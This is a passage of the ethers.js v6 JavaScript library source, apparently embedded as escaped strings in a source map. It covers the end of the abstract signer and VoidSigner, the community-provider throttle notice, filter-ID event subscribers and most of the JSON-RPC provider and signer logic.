getFeeData has failed us.\n assert(false, \"failed to get consistent fee data\", \"UNSUPPORTED_OPERATION\", {\n operation: \"signer.getFeeData\"\n });\n }\n }\n else if (pop.type === 2 || pop.type === 3 || pop.type === 4) {\n // Explicitly using EIP-1559 or EIP-4844\n // Populate missing fee data\n if (pop.maxFeePerGas == null) {\n pop.maxFeePerGas = feeData.maxFeePerGas;\n }\n if (pop.maxPriorityFeePerGas == null) {\n pop.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas;\n }\n }\n }\n //@TOOD: Don't await all over the place; save them up for\n // the end for better batching\n return await resolveProperties(pop);\n }\n async populateAuthorization(_auth) {\n const auth = Object.assign({}, _auth);\n // Add a chain ID if not explicitly set to 0\n if (auth.chainId == null) {\n auth.chainId = (await checkProvider(this, \"getNetwork\").getNetwork()).chainId;\n }\n // @TODO: Take chain ID into account when populating noce?\n if (auth.nonce == null) {\n auth.nonce = await this.getNonce();\n }\n return auth;\n }\n async estimateGas(tx) {\n return checkProvider(this, \"estimateGas\").estimateGas(await this.populateCall(tx));\n }\n async call(tx) {\n return checkProvider(this, \"call\").call(await this.populateCall(tx));\n }\n async resolveName(name) {\n const provider = checkProvider(this, \"resolveName\");\n return await provider.resolveName(name);\n }\n async sendTransaction(tx) {\n const provider = checkProvider(this, \"sendTransaction\");\n const pop = await this.populateTransaction(tx);\n delete pop.from;\n const txObj = Transaction.from(pop);\n return await provider.broadcastTransaction(await this.signTransaction(txObj));\n }\n // @TODO: in v7 move this to be abstract\n authorize(authorization) {\n assert(false, \"authorization not implemented for this signer\", \"UNSUPPORTED_OPERATION\", { operation: \"authorize\" });\n }\n}\n/**\n * A **VoidSigner** is a class deisgned to allow an address to be used\n * in any API which accepts a Signer, but for which there are no\n * credentials available to perform any actual signing.\n *\n * This for example allow impersonating an account for the purpose of\n * static calls or estimating gas, but does not allow sending transactions.\n */\nexport class VoidSigner extends AbstractSigner {\n /**\n * The signer address.\n */\n address;\n /**\n * Creates a new **VoidSigner** with %%address%% attached to\n * %%provider%%.\n */\n constructor(address, provider) {\n super(provider);\n defineProperties(this, { address });\n }\n async getAddress() { return this.address; }\n connect(provider) {\n return new VoidSigner(this.address, provider);\n }\n #throwUnsupported(suffix, operation) {\n assert(false, `VoidSigner cannot sign ${suffix}`, \"UNSUPPORTED_OPERATION\", { operation });\n }\n async signTransaction(tx) {\n this.#throwUnsupported(\"transactions\", \"signTransaction\");\n }\n async signMessage(message) {\n this.#throwUnsupported(\"messages\", \"signMessage\");\n }\n async signTypedData(domain, types, value) {\n this.#throwUnsupported(\"typed-data\", \"signTypedData\");\n }\n}\n//# sourceMappingURL=abstract-signer.js.map","/**\n * There are many awesome community services that provide Ethereum\n * nodes both for developers just starting out and for large-scale\n * communities.\n *\n * @_section: api/providers/thirdparty: Community Providers [thirdparty]\n */\n// Show the throttle message only once per service\nconst shown = new Set();\n/**\n * Displays a warning in the console when the community resource is\n * being used too heavily by the app, recommending the developer\n * acquire their own credentials instead of using the community\n * credentials.\n *\n * The notification will only occur once per service.\n */\nexport function showThrottleMessage(service) {\n if (shown.has(service)) {\n return;\n }\n shown.add(service);\n console.log(\"========= NOTICE =========\");\n console.log(`Request-Rate Exceeded for ${service} (this message will not be repeated)`);\n console.log(\"\");\n console.log(\"The default API keys for each service are provided as a highly-throttled,\");\n console.log(\"community resource for low-traffic projects and early prototyping.\");\n console.log(\"\");\n console.log(\"While your application will continue to function, we highly recommended\");\n console.log(\"signing up for your own API keys to improve performance, increase your\");\n console.log(\"request rate/limit and enable other perks, such as metrics and advanced APIs.\");\n console.log(\"\");\n console.log(\"For more details: https:/\\/docs.ethers.org/api-keys/\");\n console.log(\"==========================\");\n}\n//# sourceMappingURL=community.js.map","import { isError } from \"../utils/index.js\";\nimport { PollingEventSubscriber } from \"./subscriber-polling.js\";\nfunction copy(obj) {\n return JSON.parse(JSON.stringify(obj));\n}\n/**\n * Some backends support subscribing to events using a Filter ID.\n *\n * When subscribing with this technique, the node issues a unique\n * //Filter ID//. At this point the node dedicates resources to\n * the filter, so that periodic calls to follow up on the //Filter ID//\n * will receive any events since the last call.\n *\n * @_docloc: api/providers/abstract-provider\n */\nexport class FilterIdSubscriber {\n #provider;\n #filterIdPromise;\n #poller;\n #running;\n #network;\n #hault;\n /**\n * Creates a new **FilterIdSubscriber** which will used [[_subscribe]]\n * and [[_emitResults]] to setup the subscription and provide the event\n * to the %%provider%%.\n */\n constructor(provider) {\n this.#provider = provider;\n this.#filterIdPromise = null;\n this.#poller = this.#poll.bind(this);\n this.#running = false;\n this.#network = null;\n this.#hault = false;\n }\n /**\n * Sub-classes **must** override this to begin the subscription.\n */\n _subscribe(provider) {\n throw new Error(\"subclasses must override this\");\n }\n /**\n * Sub-classes **must** override this handle the events.\n */\n _emitResults(provider, result) {\n throw new Error(\"subclasses must override this\");\n }\n /**\n * Sub-classes **must** override this handle recovery on errors.\n */\n _recover(provider) {\n throw new Error(\"subclasses must override this\");\n }\n async #poll(blockNumber) {\n try {\n // Subscribe if necessary\n if (this.#filterIdPromise == null) {\n this.#filterIdPromise = this._subscribe(this.#provider);\n }\n // Get the Filter ID\n let filterId = null;\n try {\n filterId = await this.#filterIdPromise;\n }\n catch (error) {\n if (!isError(error, \"UNSUPPORTED_OPERATION\") || error.operation !== \"eth_newFilter\") {\n throw error;\n }\n }\n // The backend does not support Filter ID; downgrade to\n // polling\n if (filterId == null) {\n this.#filterIdPromise = null;\n this.#provider._recoverSubscriber(this, this._recover(this.#provider));\n return;\n }\n const network = await this.#provider.getNetwork();\n if (!this.#network) {\n this.#network = network;\n }\n if (this.#network.chainId !== network.chainId) {\n throw new Error(\"chaid changed\");\n }\n if (this.#hault) {\n return;\n }\n const result = await this.#provider.send(\"eth_getFilterChanges\", [filterId]);\n await this._emitResults(this.#provider, result);\n }\n catch (error) {\n console.log(\"@TODO\", error);\n }\n this.#provider.once(\"block\", this.#poller);\n }\n #teardown() {\n const filterIdPromise = this.#filterIdPromise;\n if (filterIdPromise) {\n this.#filterIdPromise = null;\n filterIdPromise.then((filterId) => {\n if (this.#provider.destroyed) {\n return;\n }\n this.#provider.send(\"eth_uninstallFilter\", [filterId]);\n });\n }\n }\n start() {\n if (this.#running) {\n return;\n }\n this.#running = true;\n this.#poll(-2);\n }\n stop() {\n if (!this.#running) {\n return;\n }\n this.#running = false;\n this.#hault = true;\n this.#teardown();\n this.#provider.off(\"block\", this.#poller);\n }\n pause(dropWhilePaused) {\n if (dropWhilePaused) {\n this.#teardown();\n }\n this.#provider.off(\"block\", this.#poller);\n }\n resume() { this.start(); }\n}\n/**\n * A **FilterIdSubscriber** for receiving contract events.\n *\n * @_docloc: api/providers/abstract-provider\n */\nexport class FilterIdEventSubscriber extends FilterIdSubscriber {\n #event;\n /**\n * Creates a new **FilterIdEventSubscriber** attached to %%provider%%\n * listening for %%filter%%.\n */\n constructor(provider, filter) {\n super(provider);\n this.#event = copy(filter);\n }\n _recover(provider) {\n return new PollingEventSubscriber(provider, this.#event);\n }\n async _subscribe(provider) {\n const filterId = await provider.send(\"eth_newFilter\", [this.#event]);\n return filterId;\n }\n async _emitResults(provider, results) {\n for (const result of results) {\n provider.emit(this.#event, provider._wrapLog(result, provider._network));\n }\n }\n}\n/**\n * A **FilterIdSubscriber** for receiving pending transactions events.\n *\n * @_docloc: api/providers/abstract-provider\n */\nexport class FilterIdPendingSubscriber extends FilterIdSubscriber {\n async _subscribe(provider) {\n return await provider.send(\"eth_newPendingTransactionFilter\", []);\n }\n async _emitResults(provider, results) {\n for (const result of results) {\n provider.emit(\"pending\", result);\n }\n }\n}\n//# sourceMappingURL=subscriber-filterid.js.map","/**\n * One of the most common ways to interact with the blockchain is\n * by a node running a JSON-RPC interface which can be connected to,\n * based on the transport, using:\n *\n * - HTTP or HTTPS - [[JsonRpcProvider]]\n * - WebSocket - [[WebSocketProvider]]\n * - IPC - [[IpcSocketProvider]]\n *\n * @_section: api/providers/jsonrpc:JSON-RPC Provider [about-jsonrpcProvider]\n */\n// @TODO:\n// - Add the batching API\n// https://playground.open-rpc.org/?schemaUrl=https://raw.githubusercontent.com/ethereum/eth1.0-apis/assembled-spec/openrpc.json&uiSchema%5BappBar%5D%5Bui:splitView%5D=true&uiSchema%5BappBar%5D%5Bui:input%5D=false&uiSchema%5BappBar%5D%5Bui:examplesDropdown%5D=false\nimport { AbiCoder } from \"../abi/index.js\";\nimport { getAddress, resolveAddress } from \"../address/index.js\";\nimport { TypedDataEncoder } from \"../hash/index.js\";\nimport { accessListify, authorizationify } from \"../transaction/index.js\";\nimport { defineProperties, getBigInt, hexlify, isHexString, toQuantity, toUtf8Bytes, isError, makeError, assert, assertArgument, FetchRequest, resolveProperties } from \"../utils/index.js\";\nimport { AbstractProvider, UnmanagedSubscriber } from \"./abstract-provider.js\";\nimport { AbstractSigner } from \"./abstract-signer.js\";\nimport { Network } from \"./network.js\";\nimport { FilterIdEventSubscriber, FilterIdPendingSubscriber } from \"./subscriber-filterid.js\";\nimport { PollingEventSubscriber } from \"./subscriber-polling.js\";\nconst Primitive = \"bigint,boolean,function,number,string,symbol\".split(/,/g);\n//const Methods = \"getAddress,then\".split(/,/g);\nfunction deepCopy(value) {\n if (value == null || Primitive.indexOf(typeof (value)) >= 0) {\n return value;\n }\n // Keep any Addressable\n if (typeof (value.getAddress) === \"function\") {\n return value;\n }\n if (Array.isArray(value)) {\n return (value.map(deepCopy));\n }\n if (typeof (value) === \"object\") {\n return Object.keys(value).reduce((accum, key) => {\n accum[key] = value[key];\n return accum;\n }, {});\n }\n throw new Error(`should not happen: ${value} (${typeof (value)})`);\n}\nfunction stall(duration) {\n return new Promise((resolve) => { setTimeout(resolve, duration); });\n}\nfunction getLowerCase(value) {\n if (value) {\n return value.toLowerCase();\n }\n return value;\n}\nfunction isPollable(value) {\n return (value && typeof (value.pollingInterval) === \"number\");\n}\nconst defaultOptions = {\n polling: false,\n staticNetwork: null,\n batchStallTime: 10,\n batchMaxSize: (1 << 20),\n batchMaxCount: 100,\n cacheTimeout: 250,\n pollingInterval: 4000\n};\n// @TODO: Unchecked Signers\nexport class JsonRpcSigner extends AbstractSigner {\n address;\n constructor(provider, address) {\n super(provider);\n address = getAddress(address);\n defineProperties(this, { address });\n }\n connect(provider) {\n assert(false, \"cannot reconnect JsonRpcSigner\", \"UNSUPPORTED_OPERATION\", {\n operation: \"signer.connect\"\n });\n }\n async getAddress() {\n return this.address;\n }\n // JSON-RPC will automatially fill in nonce, etc. so we just check from\n async populateTransaction(tx) {\n return await this.populateCall(tx);\n }\n // Returns just the hash of the transaction after sent, which is what\n // the bare JSON-RPC API does;\n async sendUncheckedTransaction(_tx) {\n const tx = deepCopy(_tx);\n const promises = [];\n // Make sure the from matches the sender\n if (tx.from) {\n const _from = tx.from;\n promises.push((async () => {\n const from = await resolveAddress(_from, this.provider);\n assertArgument(from != null && from.toLowerCase() === this.address.toLowerCase(), \"from address mismatch\", \"transaction\", _tx);\n tx.from = from;\n })());\n }\n else {\n tx.from = this.address;\n }\n // The JSON-RPC for eth_sendTransaction uses 90000 gas; if the user\n // wishes to use this, it is easy to specify explicitly, otherwise\n // we look it up for them.\n if (tx.gasLimit == null) {\n promises.push((async () => {\n tx.gasLimit = await this.provider.estimateGas({ ...tx, from: this.address });\n })());\n }\n // The address may be an ENS name or Addressable\n if (tx.to != null) {\n const _to = tx.to;\n promises.push((async () => {\n tx.to = await resolveAddress(_to, this.provider);\n })());\n }\n // Wait until all of our properties are filled in\n if (promises.length) {\n await Promise.all(promises);\n }\n const hexTx = this.provider.getRpcTransaction(tx);\n return this.provider.send(\"eth_sendTransaction\", [hexTx]);\n }\n async sendTransaction(tx) {\n // This cannot be mined any earlier than any recent block\n const blockNumber = await this.provider.getBlockNumber();\n // Send the transaction\n const hash = await this.sendUncheckedTransaction(tx);\n // Unfortunately, JSON-RPC only provides and opaque transaction hash\n // for a response, and we need the actual transaction, so we poll\n // for it; it should show up very quickly\n return await (new Promise((resolve, reject) => {\n const timeouts = [1000, 100];\n let invalids = 0;\n const checkTx = async () => {\n try {\n // Try getting the transaction\n const tx = await this.provider.getTransaction(hash);\n if (tx != null) {\n resolve(tx.replaceableTransaction(blockNumber));\n return;\n }\n }\n catch (error) {\n // If we were cancelled: stop polling.\n // If the data is bad: the node returns bad transactions\n // If the network changed: calling again will also fail\n // If unsupported: likely destroyed\n if (isError(error, \"CANCELLED\") || isError(error, \"BAD_DATA\") ||\n isError(error, \"NETWORK_ERROR\") || isError(error, \"UNSUPPORTED_OPERATION\")) {\n if (error.info == null) {\n error.info = {};\n }\n error.info.sendTransactionHash = hash;\n reject(error);\n return;\n }\n // Stop-gap for misbehaving backends; see #4513\n if (isError(error, \"INVALID_ARGUMENT\")) {\n invalids++;\n if (error.info == null) {\n error.info = {};\n }\n error.info.sendTransactionHash = hash;\n if (invalids > 10) {\n reject(error);\n return;\n }\n }\n // Notify anyone that cares; but we will try again, since\n // it is likely an intermittent service error\n this.provider.emit(\"error\", makeError(\"failed to fetch transation after sending (will try again)\", \"UNKNOWN_ERROR\", { error }));\n }\n // Wait another 4 seconds\n this.provider._setTimeout(() => { checkTx(); }, timeouts.pop() || 4000);\n };\n checkTx();\n }));\n }\n async signTransaction(_tx) {\n const tx = deepCopy(_tx);\n // Make sure the from matches the sender\n if (tx.from) {\n const from = await resolveAddress(tx.from, this.provider);\n assertArgument(from != null && from.toLowerCase() === this.address.toLowerCase(), \"from address mismatch\", \"transaction\", _tx);\n tx.from = from;\n }\n else {\n tx.from = this.address;\n }\n const hexTx = this.provider.getRpcTransaction(tx);\n return await this.provider.send(\"eth_signTransaction\", [hexTx]);\n }\n async signMessage(_message) {\n const message = ((typeof (_message) === \"string\") ? toUtf8Bytes(_message) : _message);\n return await this.provider.send(\"personal_sign\", [\n hexlify(message), this.address.toLowerCase()\n ]);\n }\n async signTypedData(domain, types, _value) {\n const value = deepCopy(_value);\n // Populate any ENS names (in-place)\n const populated = await TypedDataEncoder.resolveNames(domain, types, value, async (value) => {\n const address = await resolveAddress(value);\n assertArgument(address != null, \"TypedData does not support null address\", \"value\", value);\n return address;\n });\n return await this.provider.send(\"eth_signTypedData_v4\", [\n this.address.toLowerCase(),\n JSON.stringify(TypedDataEncoder.getPayload(populated.domain, types, populated.value))\n ]);\n }\n async unlock(password) {\n return this.provider.send(\"personal_unlockAccount\", [\n this.address.toLowerCase(), password, null\n ]);\n }\n // https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign\n async _legacySignMessage(_message) {\n const message = ((typeof (_message) === \"string\") ? toUtf8Bytes(_message) : _message);\n return await this.provider.send(\"eth_sign\", [\n this.address.toLowerCase(), hexlify(message)\n ]);\n }\n}\n/**\n * The JsonRpcApiProvider is an abstract class and **MUST** be\n * sub-classed.\n *\n * It provides the base for all JSON-RPC-based Provider interaction.\n *\n * Sub-classing Notes:\n * - a sub-class MUST override _send\n * - a sub-class MUST call the `_start()` method once connected\n */\nexport class JsonRpcApiProvider extends AbstractProvider {\n #options;\n // The next ID to use for the JSON-RPC ID field\n #nextId;\n // Payloads are queued and triggered in batches using the drainTimer\n #payloads;\n #drainTimer;\n #notReady;\n #network;\n #pendingDetectNetwork;\n #scheduleDrain() {\n if (this.#drainTimer) {\n return;\n }\n // If we aren't using batching, no harm in sending it immediately\n const stallTime = (this._getOption(\"batchMaxCount\") === 1) ? 0 : this._getOption(\"batchStallTime\");\n this.#drainTimer = setTimeout(() => {\n this.#drainTimer = null;\n const payloads = this.#payloads;\n this.#payloads = [];\n while (payloads.length) {\n // Create payload batches that satisfy our batch constraints\n const batch = [(payloads.shift())];\n while (payloads.length) {\n if (batch.length === this.#options.batchMaxCount) {\n break;\n }\n batch.push((payloads.shift()));\n const bytes = JSON.stringify(batch.map((p) => p.payload));\n if (bytes.length > this.#options.batchMaxSize) {\n payloads.unshift((batch.pop()));\n break;\n }\n }\n // Process the result to each payload\n (async () => {\n const payload = ((batch.length === 1) ? batch[0].payload : batch.map((p) => p.payload));\n this.emit(\"debug\", { action: \"sendRpcPayload\", payload });\n try {\n const result = await this._send(payload);\n this.emit(\"debug\", { action: \"receiveRpcResult\", result });\n // Process results in batch order\n for (const { resolve, reject, payload } of batch) {\n if (this.destroyed) {\n reject(makeError(\"provider destroyed; cancelled request\", \"UNSUPPORTED_OPERATION\", { operation: payload.method }));\n continue;\n }\n // Find the matching result\n const resp = result.filter((r) => (r.id === payload.id))[0];\n // No result; the node failed us in unexpected ways\n if (resp == null) {\n const error = makeError(\"missing response for request\", \"BAD_DATA\", {\n value: result, info: { payload }\n });\n this.emit(\"error\", error);\n reject(error);\n continue;\n }\n // The response is an error\n if (\"error\" in resp) {\n reject(this.getRpcError(payload, resp));\n continue;\n }\n // All good; send the result\n resolve(resp.result);\n }\n }\n catch (error) {\n this.emit(\"debug\", { action: \"receiveRpcError\", error });\n for (const { reject } of batch) {\n // @TODO: augment the error with the payload\n reject(error);\n }\n }\n })();\n }\n }, stallTime);\n }\n constructor(network, options) {\n super(network, options);\n this.#nextId = 1;\n this.#options = Object.assign({}, defaultOptions, options || {});\n this.#payloads = [];\n this.#drainTimer = null;\n this.#network = null;\n this.#pendingDetectNetwork = null;\n {\n let resolve = null;\n const promise = new Promise((_resolve) => {\n resolve = _resolve;\n });\n this.#notReady = { promise, resolve };\n }\n const staticNetwork = this._getOption(\"staticNetwork\");\n if (typeof (staticNetwork) === \"boolean\") {\n assertArgument(!staticNetwork || network !== \"any\", \"staticNetwork cannot be used on special network 'any'\", \"options\", options);\n if (staticNetwork && network != null) {\n this.#network = Network.from(network);\n }\n }\n else if (staticNetwork) {\n // Make sure any static network is compatbile with the provided netwrok\n assertArgument(network == null || staticNetwork.matches(network), \"staticNetwork MUST match network object\", \"options\", options);\n this.#network = staticNetwork;\n }\n }\n /**\n * Returns the value associated with the option %%key%%.\n *\n * Sub-classes can use this to inquire about configuration options.\n */\n _getOption(key) {\n return this.#options[key];\n }\n /**\n * Gets the [[Network]] this provider has committed to. On each call, the network\n * is detected, and if it has changed, the call will reject.\n */\n get _network() {\n assert(this.#network, \"network is not available yet\", \"NETWORK_ERROR\");\n return this.#network;\n }\n /**\n * Resolves to the non-normalized value by performing %%req%%.\n *\n * Sub-classes may override this to modify behavior of actions,\n * and should generally call ``super._perform`` as a fallback.\n */\n async _perform(req) {\n // Legacy networks do not like the type field being passed along (which\n // is fair), so we delete type if it is 0 and a non-EIP-1559 network\n if (req.method === \"call\" || req.method === \"estimateGas\") {\n let tx = req.transaction;\n if (tx && tx.type != null && getBigInt(tx.type)) {\n // If there are no EIP-1559 or newer properties, it might be pre-EIP-1559\n if (tx.maxFeePerGas == null && tx.maxPriorityFeePerGas == null) {\n const feeData = await this.getFeeData();\n if (feeData.maxFeePerGas == null && feeData.maxPriorityFeePerGas == null) {\n // Network doesn't know about EIP-1559 (and hence type)\n req = Object.assign({}, req, {\n transaction: Object.assign({}, tx, { type: undefined })\n });\n }\n }\n }\n }\n const request = this.getRpcRequest(req);\n if (request != null) {\n return await this.send(request.method, request.args);\n }\n return super._perform(req);\n }\n /**\n * Sub-classes may override this; it detects the *actual* network that\n * we are **currently** connected to.\n *\n * Keep in mind that [[send]] may only be used once [[ready]], otherwise the\n * _send primitive must be used instead.\n */\n async _detectNetwork() {\n const network = this._getOption(\"staticNetwork\");\n if (network) {\n if (network === true) {\n if (this.#network) {\n return this.#network;\n }\n }\n else {\n return network;\n }\n }\n if (this.#pendingDetectNetwork) {\n return await this.#pendingDetectNetwork;\n }\n // If we are ready, use ``send``, which enabled requests to be batched\n if (this.ready) {\n this.#pendingDetectNetwork = (async () => {\n try {\n const result = Network.from(getBigInt(await this.send(\"eth_chainId\", [])));\n this.#pendingDetectNetwork = null;\n return result;\n }\n catch (error) {\n this.#pendingDetectNetwork = null;\n throw error;\n }\n })();\n return await this.#pendingDetectNetwork;\n }\n // We are not ready yet; use the primitive _send\n this.#pendingDetectNetwork = (async () => {\n const payload = {\n id: this.#nextId++, method: \"eth_chainId\", params: [], jsonrpc: \"2.0\"\n };\n this.emit(\"debug\", { action: \"sendRpcPayload\", payload });\n let result;\n try {\n result = (await this._send(payload))[0];\n this.#pendingDetectNetwork = null;\n }\n catch (error) {\n this.#pendingDetectNetwork = null;\n this.emit(\"debug\", { action: \"receiveRpcError\", error });\n throw error;\n }\n this.emit(\"debug\", { action: \"receiveRpcResult\", result });\n if (\"result\" in result) {\n return Network.from(getBigInt(result.result));\n }\n throw this.getRpcError(payload, result);\n })();\n return await this.#pendingDetectNetwork;\n }\n /**\n * Sub-classes **MUST** call this. Until [[_start]] has been called, no calls\n * will be passed to [[_send]] from [[send]]. If it is overridden, then\n * ``super._start()`` **MUST** be called.\n *\n * Calling it multiple times is safe and has no effect.\n */\n _start() {\n if (this.#notReady == null || this.#notReady.resolve == null) {\n return;\n }\n this.#notReady.resolve();\n this.#notReady = null;\n (async () => {\n // Bootstrap the network\n while (this.#network == null && !this.destroyed) {\n try {\n this.#network = await this._detectNetwork();\n }\n catch (error) {\n if (this.destroyed) {\n break;\n }\n console.log(\"JsonRpcProvider failed to detect network and cannot start up; retry in 1s (perhaps the URL is wrong or the node is not started)\");\n this.emit(\"error\", makeError(\"failed to bootstrap network detection\", \"NETWORK_ERROR\", { event: \"initial-network-discovery\", info: { error } }));\n await stall(1000);\n }\n }\n // Start dispatching requests\n this.#scheduleDrain();\n })();\n }\n /**\n * Resolves once the [[_start]] has been called. This can be used in\n * sub-classes to defer sending data until the connection has been\n * established.\n */\n async _waitUntilReady() {\n if (this.#notReady == null) {\n return;\n }\n return await this.#notReady.promise;\n }\n /**\n * Return a Subscriber that will manage the %%sub%%.\n *\n * Sub-classes may override this to modify the behavior of\n * subscription management.\n */\n _getSubscriber(sub) {\n // Pending Filters aren't availble via polling\n if (sub.type === \"pending\") {\n return new FilterIdPendingSubscriber(this);\n }\n if (sub.type === \"event\") {\n if (this._getOption(\"polling\")) {\n return new PollingEventSubscriber(this, sub.filter);\n }\n return new FilterIdEventSubscriber(this, sub.filter);\n }\n // Orphaned Logs are handled automatically, by the filter, since\n // logs with removed are emitted by it\n if (sub.type === \"orphan\" && sub.filter.orphan === \"drop-log\") {\n return new UnmanagedSubscriber(\"orphan\");\n }\n return super._getSubscriber(sub);\n }\n /**\n * Returns true only if the [[_start]] has been called.\n */\n get ready() { return this.#notReady == null; }\n /**\n * Returns %%tx%% as a normalized JSON-RPC transaction request,\n * which has all values hexlified and any numeric values converted\n * to Quantity values.\n */\n getRpcTransaction(tx) {\n const result = {};\n // JSON-RPC now requires numeric values to be \"quantity\" values\n [\"chainId\", \"gasLimit\", \"gasPrice\", \"type\", \"maxFeePerGas\", \"maxPriorityFeePerGas\", \"nonce\", \"value\"].forEach((key) => {\n if (tx[key] == null) {\n return;\n }\n let dstKey = key;\n if (key === \"gasLimit\") {\n dstKey = \"gas\";\n }\n result[dstKey] = toQuantity(getBigInt(tx[key], `tx.${key}`));\n });\n // Make sure addresses and data are lowercase\n [\"from\", \"to\", \"data\"].forEach((key) => {\n if (tx[key] == null) {\n return;\n }\n result[key] = hexlify(tx[key]);\n });\n // Normalize the access list object\n if (tx.accessList) {\n result[\"accessList\"] = accessListify(tx.accessList);\n }\n if (tx.blobVersionedHashes) {\n // @TODO: Remove this case once EIP-4844 added to prepared tx\n result[\"blobVersionedHashes\"] = tx.blobVersionedHashes.map(h => h.toLowerCase());\n }\n if (tx.authorizationList) {\n result[\"authorizationList\"] = tx.authorizationList.map((_a) => {\n const a = authorizationify(_a);\n return {\n address: a.address,\n nonce: toQuantity(a.nonce),\n chainId: toQuantity(a.chainId),\n yParity: toQuantity(a.signature.yParity),\n r: toQuantity(a.signature.r),\n s: toQuantity(a.signature.s),\n };\n });\n }\n // @TODO: blobs should probably also be copied over, optionally\n // accounting for the kzg property to backfill blobVersionedHashes\n // using the commitment. Or should that be left as an exercise to\n // the caller?\n return result;\n }\n /**\n * Returns the request method and arguments required to perform\n * %%req%%.\n */\n getRpcRequest(req) {\n switch (req.method) {\n case \"chainId\":\n return { method: \"eth_chainId\", args: [] };\n case \"getBlockNumber\":\n return { method: \"eth_blockNumber\", args: [] };\n case \"getGasPrice\":\n return { method: \"eth_gasPrice\", args: [] };\n case \"getPriorityFee\":\n return { method: \"eth_maxPriorityFeePerGas\", args: [] };\n case \"getBalance\":\n return {\n method: \"eth_getBalance\",\n args: [getLowerCase(req.address), req.blockTag]\n };\n case \"getTransactionCount\":\n return {\n method: \"eth_getTransactionCount\",\n args: [getLowerCase(req.address), req.blockTag]\n };\n case \"getCode\":\n return {\n method: \"eth_getCode\",\n args: [getLowerCase(req.address), req.blockTag]\n };\n case \"getStorage\":\n return {\n method: \"eth_getStorageAt\",\n args: [\n getLowerCase(req.address),\n (\"0x\" + req.position.toString(16)),\n req.blockTag\n ]\n };\n case \"broadcastTransaction\":\n return {\n method: \"eth_sendRawTransaction\",\n args: [req.signedTransaction]\n };\n case \"getBlock\":\n if (\"blockTag\" in req) {\n return {\n method: \"eth_getBlockByNumber\",\n args: [req.blockTag, !!req.includeTransactions]\n };\n }\n else if (\"blockHash\" in req) {\n return {\n method: \"eth_getBlockByHash\",\n args: [req.blockHash, !!req.includeTransactions]\n };\n }\n break;\n case \"getTransaction\":\n return {\n method: \"eth_getTransactionByHash\",\n args: [req.hash]\n };\n case \"getTransactionReceipt\":\n return {\n method: \"eth_getTransactionReceipt\",\n args: [req.hash]\n };\n case \"call\":\n return {\n method: \"eth_call\",\n args: [this.getRpcTransaction(req.transaction), req.blockTag]\n };\n case \"estimateGas\": {\n return {\n method: \"eth_estimateGas\",\n args: [this.getRpcTransaction(req.transaction)]\n };\n }\n case \"getLogs\":\n if (req.filter && req.filter.address != null) {\n if (Array.isArray(req.filter.address)) {\n req.filter.address = req.filter.address.map(getLowerCase);\n }\n else {\n req.filter.address = getLowerCase(req.filter.address);\n }\n }\n return { method: \"eth_getLogs\", args: [req.filter] };\n }\n return null;\n }\n /**\n * Returns an ethers-style Error for the given JSON-RPC error\n * %%payload%%, coalescing the various strings and error shapes\n * that different nodes return, coercing them into a machine-readable\n * standardized error.\n */\n getRpcError(payload, _error) {\n const { method } = payload;\n const { error } = _error;\n if (method === \"eth_estimateGas\" && error.message) {\n const msg = error.message;\n if (!msg.match(/revert/i) && msg.match(/insufficient funds/i)) {\n return makeError(\"insufficient funds\", \"INSUFFICIENT_FUNDS\", {\n transaction: (payload.params[0]),\n info: { payload, error }\n });\n }\n else if (msg.match(/nonce/i) && msg.match(/too low/i)) {\n return makeError(\"nonce has already been used\", \"NONCE_EXPIRED\", {\n transaction: (payload.params[0]),\n info: { payload, error }\n });\n }\n }\n if (method === \"eth_call\" || method === \"eth_estimateGas\") {\n const result = spelunkData(error);\n const e = AbiCoder.getBuiltinCallException((method === \"eth_call\") ? \"call\" : \"estimateGas\", (payload.params[0]), (result ? result.data : null));\n e.info = { error, payload };\n return e;\n }\n // Only estimateGas and call can return arbitrary contract-defined text, so now we\n // we can process text safely.\n const message = JSON.stringify(spelunkMessage(error));\n if (typeof (error.message) === \"string\" && error.message.match(/user denied|ethers-user-denied/i)) {\n const actionMap = {\n eth_sign: \"signMessage\",\n personal_sign: \"signMessage\",\n eth_signTypedData_v4: \"signTypedData\",\n eth_signTransaction: \"signTransaction\",\n eth_sendTransaction: \"sendTransaction\",\n eth_requestAccounts: \"requestAccess\",\n wallet_requestAccounts: \"requestAccess\",\n };\n return makeError(`user rejected action`, \"ACTION_REJECTED\", {\n action: (actionMap[method] || \"unknown\"),\n reason: \"rejected\",\n info: { payload, error }\n });\n }\n if (method === \"eth_sendRawTransaction\" || method === \"eth_sendTransaction\") {\n const transaction = (payload.params[0]);\n if (message.match(/insufficient funds|base fee exceeds gas limit/i)) {\n return makeError(\"insufficient funds for intrinsic transaction cost\", \"INSUFFICIENT_FUNDS\", {\n transaction, info: { error }\n });\n }\n if (message.match(/nonce/i) && message.match(/too low/i)) {\n return makeError(\"nonce has already been used\", \"NONCE_EXPIRED\", { transaction, info: { error } });\n }\n // \"replacement transaction underpriced\"\n if (message.match(/replacement transaction/i) && message.match(/underpriced/i)) {\n return makeError(\"replacement fee too low\", \"REPLACEMENT_UNDERPRICED\", { transaction, info: { error } });\n }\n if (message.match(/only replay-protected/i)) {\n return makeError(\"legacy pre-eip-155 transactions not supported\", \"UNSUPPORTED_OPERATION\", {\n operation: method, info: { transaction, info: { error } }\n });\n }\n }\n let unsupported = !!message.match(/the method .* does not exist/i);\n if (!unsupported) {\n if (error && error.details && error.details.startsWith(\"Unauthorized method:\")) {\n unsupported = true;\n }\n }\n if (unsupported) {\n return makeError(\"unsupported operation\", \"UNSUPPORTED_OPERATION\", {\n operation: payload.method, info: { error, payload }\n });\n }\n return makeError(\"could not coalesce error\", \"UNKNOWN_ERROR\", { error, payload });\n }\n /**\n * Requests the %%method%% with %%params%% via the JSON-RPC protocol\n * over the underlying channel. This can be used to call methods\n * on the backend that do not have a high-level API within the Provider\n * API.\n *\n * This method queues requests according to the batch constraints\n * in the options, assigns the request a unique ID.\n *\n * **Do NOT override** this method in sub-classes; instead\n * override [[_send]] or force the options values in the\n * call to the constructor to modify this method's behavior.\n */\n send(method, params) {\n // @TODO: cache chainId?? purge on switch_networks\n // We have been destroyed; no operations are supported anymore\n if (this.destroyed) {\n return Promise.reject(makeError(\"provider destroyed; cancelled request\", \"UNSUPPORTED_OPERATION\", { operation: method }));\n }\n const id = this.#nextId++;\n const promise = new Promise((resolve, reject) => {\n this.#payloads.push({\n resolve, reject,\n payload: { method, params, id, jsonrpc: \"2.0\" }\n });\n });\n // If there is not a pending drainTimer, set one\n this.#scheduleDrain();\n return promise;\n }\n /**\n 